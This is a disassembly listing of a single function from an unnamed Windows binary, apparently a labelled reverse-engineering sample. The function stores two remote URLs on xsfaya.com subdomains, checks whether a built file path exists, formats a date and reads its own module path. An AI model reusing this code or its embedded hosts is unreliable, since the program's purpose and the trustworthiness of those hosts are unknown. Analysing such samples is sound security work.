Function at 0x407661
Capabilities:
Check if file exists

Disassembly:
push 0x19c
mov eax, 0x636644
call fcn.0040eae7
mov ebx, ecx
call fcn.00404629
mov edi, eax
test edi, edi
je 0x407a82
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x6b9758
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x14]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push str.http:__jto.xsfaya.com_uiz8lele9u
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x18]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push str.http:__ott.xsfaya.com_microtime__
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x1c]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x6b982c
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 8]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x6b9834
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x20]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x6b9858
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x24]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x6b987c
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x28]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x6b98a0
call fcn.004040a3
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x2c]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
push esp
call fcn.00407cba
mov ecx, eax
call fcn.004bf0bd
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 4]
sub esp, 0x18
push esp
call fcn.004bf1be
mov eax, dword [edi]
pop ecx
mov ecx, edi
call dword [eax + 0x10]
sub esp, 0x18
mov esi, esp
call fcn.004bf826
push eax
push esi
call fcn.004b2664
mov eax, dword [edi]
pop ecx
pop ecx
mov ecx, edi
call dword [eax + 0x30]
sub esp, 0x18
mov esi, esp
call fcn.00407cba
mov ecx, eax
call fcn.004befe3
push eax
push esi
call fcn.004b2664
mov eax, dword [edi]
pop ecx
pop ecx
mov ecx, edi
call dword [eax + 0x40]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
push esp
call fcn.00407cba
mov ecx, eax
call fcn.004bef30
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x38]
lea eax, [ebp - 0x144]
push eax
call fcn.0040471e
mov ecx, eax
call fcn.004b3e12
and dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x407888
mov eax, dword [eax]
push str.cacje
push eax
lea eax, [ebp - 0x12c]
push str._s_s_
push eax
call fcn.004b257b
add esp, 0x10
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 2
call fcn.0040199e
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40790c
and dword [ebp - 0x178], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x19c]
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
push ecx
cmovae eax, dword [ebp - 0x12c]
push eax
call fcn.004bf917
pop ecx
pop ecx
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 2
call fcn.00407db9
sub esp, 0x18
lea eax, [ebp - 0x12c]
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00404e35
push esi
call fcn.004b2b82
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x3c]
mov eax, dword [edi]
mov ecx, edi
push ebx
call dword [eax + 0x44]
sub esp, 0x18
push esp
call fcn.00407cba
mov ecx, eax
call fcn.004bee7d
call fcn.004b2702
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x1a8]
push eax
mov dword [ebp - 0x1a4], edx
call fcn.004f9b47
push dword [eax + 0xc]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc ecx
push ecx
add eax, 0x76c
push eax
lea eax, [ebp - 0x174]
push str._d_.2d_.2d
push eax
call fcn.004b24b1
add esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
lea eax, [ebp - 0x174]
xor ebx, ebx
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00403470
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x34]
mov esi, 0x104
lea eax, [ebp - 0x114]
push esi
push ebx
push eax
call fcn.004f2410
add esp, 0xc
lea eax, [ebp - 0x114]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xf
pop eax
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], eax
mov byte [ebp - 0x15c], bl
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x134], ebx
mov byte [ebp - 0x144], bl
call fcn.004038b3
lea eax, [ebp - 0x15c]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x144]
push eax
call fcn.004bfb02
pop ecx
pop ecx
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 5
call fcn.004038dd
sub esp, 0x18
lea eax, [ebp - 0x15c]
mov ecx, esp
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00403470
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lea ecx, [ebp - 0x15c]
call fcn.004038dd
lea ecx, [ebp - 0x174]
call fcn.004038dd
lea ecx, [ebp - 0x12c]
call fcn.0040199e
call fcn.0040ea91
ret